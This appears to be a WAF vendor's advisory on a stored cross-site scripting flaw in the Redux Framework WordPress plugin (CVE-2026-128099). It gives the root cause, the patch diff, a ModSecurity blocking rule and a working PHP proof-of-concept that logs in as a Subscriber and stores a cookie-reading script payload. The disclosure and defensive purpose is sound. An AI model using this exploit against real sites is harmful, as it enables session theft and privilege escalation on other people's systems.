Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-128099: Redux Framework versions up to and including 4.5.18 are vulnerable to authenticated Stored Cross-Site Scripting. The flaw resides in the image-filter handling for `media` field types, where the `value` sub-key of the `filter` array is rendered without output escaping. An attacker with Subscriber-level access can inject script that executes in the browser of any user viewing the affected options page or front-end output. CVSS score is 6.4 (Medium).
The root cause is a combination of missing output escaping and absent input validation. In `redux-core/inc/lib/image-filters/class-redux-image-filters.php` line 89, the plugin concatenates `$value[‘filter’][$filter][‘value’]` directly into HTML inside a `` tag without `esc_html()`. The `Redux_Validation` class in `redux-core/inc/classes/class-redux-validation.php` did not register a validation handler for the `media` field type; the `$default_validation_by_type` array had no entry for `media`, so no filtering cleaned the nested `filter` sub-array on save. The value originates from the request parameter `{opt_name}[{field_id}][filter][{filter}][value]`.
An authenticated Subscriber submits a POST request to the WordPress options endpoint that Redux Framework uses (typically `admin-ajax.php` with the Redux save action, or the admin options page form). The payload nests script inside the `value` key, for example `opt_name[field_id][filter][brightness][value]=alert(document.cookie)`. The plugin stores the value verbatim in the option. When an administrator or any visitor loads a page that renders the image filter display (the options panel or the front end that calls `Redux_Image_Filters::render()`), the unescaped string breaks out of the `` element and executes.
The patch adds two defenses. First, it registers a new `media_filter` validator in `class-redux-validation.php` line 82 for the `media` field type. The new class `Redux_Validation_Media_Filter` in `inc/validation/media_filter/class-redux-validation-media-filter.php` checks each filter sub-array; if `value` is not numeric, it restores the previously stored numeric value or sets it to 0 and raises a warning, preventing non-numeric script strings from being saved. Second, line 89 of `class-redux-image-filters.php` wraps the value in `esc_html()`, so any residual HTML is encoded on output. The version is bumped to 4.5.19.
Successful exploitation lets a low-privileged attacker run arbitrary JavaScript in the context of higher-privileged users or site visitors. Impact includes session cookie theft, credential harvesting via injected login forms, privilege escalation through admin actions performed on behalf of the victim, and persistent site defacement. Because the payload is stored in the options table, it triggers on every page load that renders the filter, giving the attacker a durable foothold until the option is cleaned.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/redux-framework/redux-core/framework.php
+++ b/redux-framework/redux-core/framework.php
@@ -33,7 +33,7 @@
require_once __DIR__ . '/class-redux-core.php';
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals -- Variable is inside a prefixed class.
-Redux_Core::$version = '4.5.18';
+Redux_Core::$version = '4.5.19';
Redux_Core::$redux_path = __DIR__;
Redux_Core::instance();
--- a/redux-framework/redux-core/inc/classes/class-redux-validation.php
+++ b/redux-framework/redux-core/inc/classes/class-redux-validation.php
@@ -79,6 +79,7 @@
$default_validation_by_type = array(
'spinner' => 'numeric',
'slider' => 'numeric',
+ 'media' => 'media_filter',
'color' => 'color',
'date' => 'date',
'link_color' => 'css',
--- a/redux-framework/redux-core/inc/lib/image-filters/class-redux-image-filters.php
+++ b/redux-framework/redux-core/inc/lib/image-filters/class-redux-image-filters.php
@@ -86,7 +86,7 @@
$output .= '<input type="checkbox" id="' . esc_attr( $field['id'] ) . '-' . $filter . '" class="checkbox" value="1"' . checked( $value['filter'][ $filter ]['checked'], '1', false ) . '/>';
$output .= '<input type="hidden" data-val="1" value="' . esc_attr( $value['filter'][ $filter ]['checked'] ) . '" class="checkbox-check" name="' . esc_attr( $field['name'] . $field['name_suffix'] ) . '[filter][' . $filter . '][checked]"/>';
$output .= ucfirst( $filter ) . ': ';
- $output .= '<span class="filter-value"><strong>' . $value['filter'][ $filter ]['value'] . $unit . '</strong></span>';
+ $output .= '<span class="filter-value"><strong>' . esc_html( $value['filter'][ $filter ]['value'] ) . $unit . '</strong></span>';
$output .= '</label>';
$output .= '<div ';
--- a/redux-framework/redux-core/inc/validation/media_filter/class-redux-validation-media-filter.php
+++ b/redux-framework/redux-core/inc/validation/media_filter/class-redux-validation-media-filter.php
@@ -0,0 +1,47 @@
+<?php
+/**
+ * Media filter validation
+ *
+ * @package Redux Framework
+ * @subpackage Validation
+ * @version 4.5.19
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+if ( ! class_exists( 'Redux_Validation_Media_Filter', false ) ) {
+
+ /**
+ * Class Redux_Validation_Media_Filter
+ */
+ class Redux_Validation_Media_Filter extends Redux_Validate {
+
+ /**
+ * Coerces non-numeric filter values back to the previously stored numeric value,
+ * or to 0 when no numeric value was stored.
+ *
+ * @since ReduxFramework 4.5.19
+ */
+ public function validate() {
+ if ( ! is_array( $this->value ) ) {
+ // Scalar values (url, id, width, height, thumbnail) pass through untouched.
+ return;
+ }
+
+ foreach ( $this->value as $filter => $data ) {
+ if ( ! is_array( $data ) || ! array_key_exists( 'value', $data ) || is_numeric( $data['value'] ) ) {
+ continue;
+ }
+
+ if ( is_array( $this->current ) && isset( $this->current[ $filter ]['value'] ) && is_numeric( $this->current[ $filter ]['value'] ) ) {
+ $this->value[ $filter ]['value'] = $this->current[ $filter ]['value'];
+ } else {
+ $this->value[ $filter ]['value'] = 0;
+ }
+
+ $this->field['msg'] = $this->field['msg'] ?? esc_html__( 'Non-numeric filter values were reset on save.', 'redux-framework' );
+ $this->warning = $this->field;
+ }
+ }
+ }
+}
--- a/redux-framework/redux-core/inc/validation/media_filter/index.php
+++ b/redux-framework/redux-core/inc/validation/media_filter/index.php
@@ -0,0 +1,8 @@
+<?php
+/**
+ * Silence is golden.
+ *
+ * @package Redux Framework
+ */
+
+defined( 'ABSPATH' ) || exit;
--- a/redux-framework/redux-framework.php
+++ b/redux-framework/redux-framework.php
@@ -8,7 +8,7 @@
* Plugin URI: https://wordpress.org/plugins/redux-framework
* GitHub URI: reduxframework/redux-framework
* Description: Build better sites in WordPress fast!
- * Version: 4.5.18
+ * Version: 4.5.19
* Requires at least: 5.3
* Requires PHP: 7.4
* Author: Team Redux
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-128099
# Blocks stored XSS via Redux image-filter 'value' sub-key on the AJAX save handler.
# Requires: ARGS_POST contains the Redux save action AND the nested image-filter value
# contains an HTML/script injection payload.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026128099,phase:2,deny,status:403,chain,msg:'CVE-2026-128099 Redux image-filter stored XSS',severity:'CRITICAL',tag:'CVE-2026-128099'"
SecRule ARGS_POST:action "@rx ^redux_.+_ajax_save$" "chain"
SecRule ARGS_POST_NAMES "@rx [filter][[a-zA-Z0-9_]+][value]$" "chain"
SecRule ARGS_POST "@detectXSS" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-128099 - Redux Framework <= 4.5.18 Authenticated (Subscriber+) Stored XSS via image-filter 'value' Sub-Key of a media Field
// Configurable target
$target_url = 'http://localhost:8080'; // WordPress base URL
$username = 'subscriber'; // Subscriber-level account
$password = 'password';
$opt_name = 'redux_demo'; // Redux opt_name for the site
$field_id = 'my_media_field'; // A media field with image filters enabled
// 1. Log in as the Subscriber and capture cookies + nonce
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve128099_');
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
)),
CURLOPT_COOKIEJAR => $cookie_jar,
CURLOPT_COOKIEFILE => $cookie_jar,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
));
$login_response = curl_exec($ch);
curl_close($ch);
if (strpos((string)$login_response, 'wp-admin') === false) {
fwrite(STDERR, "Login failed. Check credentials or target URL.n");
exit(1);
}
// 2. Fetch the admin page that hosts the Redux options panel to obtain the save nonce.
// Adjust the options page slug to match the site's Redux configuration.
$options_page = $target_url . '/wp-admin/admin.php?page=' . $opt_name . '_options';
$ch = curl_init($options_page);
curl_setopt_array($ch, array(
CURLOPT_COOKIEFILE => $cookie_jar,
CURLOPT_RETURNTRANSFER => true,
));
$options_html = curl_exec($ch);
curl_close($ch);
$nonce = '';
if (preg_match('/name="_wpnonce"s+value="([a-f0-9]+)"/i', (string)$options_html, $m)) {
$nonce = $m[1];
} elseif (preg_match('/"nonce"s*:s*"([a-f0-9]+)"/i', (string)$options_html, $m)) {
$nonce = $m[1];
}
if ($nonce === '') {
fwrite(STDERR, "Could not extract save nonce. Review the options page HTML.n");
}
// 3. Submit the malicious image-filter payload.
// Parameter path: {opt_name}[{field_id}][filter][{filter}][value]
$payload = '<script>alert(document.cookie)</script>';
$post = array(
'action' => 'redux_' . $opt_name . '_ajax_save',
'nonce' => $nonce,
'opt_name' => $opt_name,
$opt_name => array(
$field_id => array(
'filter' => array(
'brightness' => array(
'checked' => '1',
'value' => $payload,
),
),
),
),
);
$ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
curl_setopt_array($ch, array(
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post),
CURLOPT_COOKIEFILE => $cookie_jar,
CURLOPT_RETURNTRANSFER => true,
));
$save_response = curl_exec($ch);
$save_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
fwrite(STDOUT, "Save HTTP status: $save_statusn");
fwrite(STDOUT, "Save response: " . substr((string)$save_response, 0, 400) . "n");
// 4. Verify the payload persisted by requesting the options page again.
$ch = curl_init($options_page);
curl_setopt_array($ch, array(
CURLOPT_COOKIEFILE => $cookie_jar,
CURLOPT_RETURNTRANSFER => true,
));
$verify_html = curl_exec($ch);
curl_close($ch);
if (strpos((string)$verify_html, $payload) !== false) {
fwrite(STDOUT, "VULNERABLE: payload reflected unescaped in options page.n");
} else {
fwrite(STDOUT, "Payload not found unescaped (likely patched or field config differs).n");
}
@unlink($cookie_jar);